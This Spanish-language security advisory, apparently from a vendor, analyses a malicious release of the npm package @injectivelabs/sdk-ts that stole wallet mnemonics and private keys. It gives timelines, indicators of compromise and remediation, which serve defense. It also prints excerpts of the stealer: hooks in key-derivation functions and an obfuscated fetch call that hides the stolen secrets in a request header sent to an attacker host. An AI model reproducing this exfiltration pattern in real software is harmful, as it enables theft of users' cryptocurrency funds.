Una versión maliciosa de @injectivelabs/sdk-ts, un paquete npm que registra alrededor de 50.000 descargas semanales, envió código que registra mnemónicos de monedero y claves privadas a medida que se derivan y los envía a un endpoint controlado por el atacante. La versión maliciosa, 1.20.21, estuvo activa en npm durante menos de una hora el 8 de junio de 2026 antes de que el mantenedor se diera cuenta y publicara una solución limpia. En ese lapso, el atacante también republicó el mismo 1.20.21 número de versión en otros 17 paquetes en el @injectivelabs ámbito, cada uno anclado al SDK envenenado, de modo que los proyectos que dependieran de cualquiera de ellos arrastrarían el ladrón de forma transitiva.
La carga útil es pequeña y se lee como instrumentación ordinaria. No se ejecuta en el momento de la instalación y no rompe ningún comportamiento del SDK. Espera a que la aplicación derive una clave durante el uso normal, y luego copia discretamente el secreto.
Cómo funciona el ladrón
El código malicioso reside en dos artefactos de construcción, dist/cjs/accounts-Cy0p4lLW.cjs y dist/esm/accounts-jQ1GSgaW.js. Comparados con la compilación limpia 1.20.23, los dos archivos son idénticos byte a byte, excepto por un bloque inyectado y dos 'hooks' de una línea. El bloque está etiquetado como src/utils/key-derivation-telemetry.ts y enmarcado en su propio comentario de documentación como métricas de uso anonimizadas para la optimización del SDK. Nada de ello está anonimizado.
Los dos hooks se encuentran dentro de PrivateKey.fromMnemonic y PrivateKey.fromHex, los puntos de entrada estándar que una aplicación invoca para convertir una frase semilla o una clave hexadecimal sin procesar en una cartera utilizable. Cada hook se activa antes de que se ejecute la derivación real, por lo que el secreto se captura en cada llamada legítima:
static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
trackKeyDerivation("fm", words); // full mnemonic phrase
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
static fromHex(privateKey) {
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes"); // raw private key
...
}
Los marcadores "fm" y "fh" indican al operador qué tipo de secreto contiene cada registro, mnemónico o hexadecimal, para que puedan reconstruir la cartera por su parte. `trackKeyDerivation` inserta un registro con marca de tiempo en una cola en memoria y programa un vaciado:
function trackKeyDerivation(method, value) {
_q.push(`${method}:${value}:${Date.now()}`);
_flush();
}
La exfiltración es donde el atacante se esforzó en pasar desapercibido. El host de destino se almacena como un array de códigos de caracteres y se reconstruye en tiempo de ejecución, por lo que una búsqueda de texto plano del paquete para el dominio no encuentra nada:
el dominio no encuentra nada:
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = "https://" + _d() + "/"; // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network
El host decodificado, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, es un subdominio diseñado para parecerse a la propia infraestructura gRPC-web de Injective, por lo que el tráfico de exfiltración se sitúa junto a las llamadas de red que una aplicación Injective real ya realiza. Un temporizador con un retardo de 2 segundos agrupa los registros en cola, los une con |, codifica el blob en base64 y lo envía:
function _send(d) {
fetch(_ep, {
method: "POST",
headers: {
"Content-Type": "application/grpc-web+proto",
"X-Request-Id": d, // base64 blob of stolen key material
},
...
}).catch(() => {});
// node fallback: require("https").request(...) with the same headers
}
Los datos robados viajan en la cabecera de la solicitud X-Request-Id en lugar de en el cuerpo, y la ruta del nodo envía un cuerpo de longitud cero con ella, por lo que en la red la solicitud parece una llamada gRPC-web normal que lleva un ID de solicitud. Cada ruta de fallo es una captura vacía y silenciosa, por lo que una exfiltración bloqueada o fallida nunca muestra un error a la víctima. La elección de `application/grpc-web+proto` como tipo de contenido completa el disfraz.
Dado que el disparador es la derivación de claves en tiempo de ejecución y no un script de ciclo de vida, los escáneres y sandboxes en tiempo de instalación que solo monitorizan `postinstall` ven un paquete limpio. El bloque de scripts en el manifiesto no tiene ningún hook de instalación.
Amplificación en el ámbito de @injectivelabs
Solo @injectivelabs/sdk-ts@1.20.21 contiene el código del ladrón. Los otros 17 paquetes que el atacante republicó en la versión 1.20.21 no fueron modificados en su propio código fuente. Cada uno fue republicado con una dependencia fija en @injectivelabs/sdk-ts@1.20.21, la versión envenenada. Un proyecto que instaló @injectivelabs/wallet-core@1.20.21, por ejemplo, resolvería el SDK malicioso de forma transitiva y ejecutaría el ladrón sin nombrar nunca `sdk-ts` en su propio manifiesto. Por eso, auditar solo sus dependencias directas no es suficiente en este caso. Los nombres de los paquetes centrados en la cartera en el ámbito se corresponden directamente con los flujos de trabajo exactos, frases semilla y claves privadas, que la carga útil fue diseñada para capturar.
Impacto y contención
El compromiso se introdujo a través de commits de una cuenta de GitHub con un historial establecido en el repositorio, lo que apunta a una toma de control de la cuenta en lugar de un ataque oportunista. El malicioso 1.20.21 fue publicado a las 22:59 GMT+2 del 8 de junio de 2026, el mantenedor revirtió el cambio a las 23:18, y una versión limpia fue publicada a las 23:48. Según las propias estadísticas de npm, la versión maliciosa fue descargada 310 veces antes de ser retirada, un número pequeño en comparación con las 50.000 descargas semanales del proyecto y los 87 paquetes dependientes. La rápida respuesta del mantenedor fue lo que evitó que esto fuera mucho peor.
La contención no está completa. En el momento del informe de origen, la versión maliciosa había sido deprecada en npm con una advertencia pero no eliminada, por lo que sigue siendo descargable, y los artefactos de lanzamiento de la versión comprometida todavía estaban presentes en la página de lanzamientos de GitHub del proyecto. Cualquier mnemónico o clave privada que haya pasado por estos paquetes debe considerarse expuesto. Mueva los fondos y luego rote las claves y las frases semilla.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Indicadores de compromiso
Indicadores de red
Endpoint de exfiltración: https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/
Archivos maliciosos
dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
Paquetes afectados
@injectivelabs/sdk-ts@1.20.21 (contiene el stealer)@injectivelabs/utils@1.20.21@injectivelabs/networks@1.20.21@injectivelabs/ts-types@1.20.21@injectivelabs/exceptions@1.20.21@injectivelabs/wallet-base@1.20.21@injectivelabs/wallet-core@1.20.21@injectivelabs/wallet-cosmos@1.20.21@injectivelabs/wallet-private-key@1.20.21@injectivelabs/wallet-evm@1.20.21@injectivelabs/wallet-trezor@1.20.21@injectivelabs/wallet-cosmostation@1.20.21@injectivelabs/wallet-ledger@1.20.21@injectivelabs/wallet-wallet-connect@1.20.21@injectivelabs/wallet-magic@1.20.21@injectivelabs/wallet-strategy@1.20.21@injectivelabs/wallet-turnkey@1.20.21@injectivelabs/wallet-cosmos-strategy@1.20.21
Remediación
- Actualice cualquier
@injectivelabspaquete fijado o resoluble a 1.20.21 a la versión limpia 1.20.23.
Última actualización el: 9 de julio de 2026

